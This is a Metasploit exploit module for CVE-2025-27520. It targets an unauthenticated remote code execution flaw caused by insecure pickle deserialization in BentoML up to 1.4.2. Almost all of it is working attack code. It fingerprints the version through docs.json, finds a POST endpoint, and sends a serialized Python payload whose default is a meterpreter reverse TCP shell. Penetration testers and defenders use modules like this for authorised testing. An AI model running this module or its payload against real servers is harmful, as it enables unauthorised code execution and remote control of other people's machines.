## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BentoML RCE', 'Description' => %q{ A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. }, 'Author' => [ 'c2an1', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-27520'], ['URL', 'https://github.com/advisories/GHSA-33xw-247w-6hmc'], ], 'Targets' => [ [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python', 'Type' => :python, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultOptions' => { 'FETCH_DELETE' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => '2025-04-04', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(3000), OptString.new('ENDPOINT', [ false, 'Endpoint to use', '']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'docs.json') }) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1) return Exploit::CheckCode::Unknown('Failed to parse version.') unless version version = Rex::Version.new(version) return Exploit::CheckCode::Unknown('Failed to get version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2')) @api_endpoint = find_api_endpoint return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.") end def find_api_endpoint res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'docs.json') }) return unless res&.code == 200 paths = res&.get_json_document&.dig('paths') paths&.keys&.detect { |path| paths[path].keys.include?('post') } end def exploit @api_endpoint = datastore['ENDPOINT'].blank? ? find_api_endpoint : datastore['ENDPOINT'] fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint print_status("Use #{@api_endpoint} as api endpoint.") if target['Type'] == :python data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) else data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")") end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, @api_endpoint), 'headers' => { 'Content-Type' => 'application/vnd.bentoml+pickle' }, 'data' => data }) fail_with(Failure::Unknown, 'Unexpected server reply.') unless res print_status('Expected error occurred.') if res.get_json_document&.dig('error') == '1 validation error for Input' end end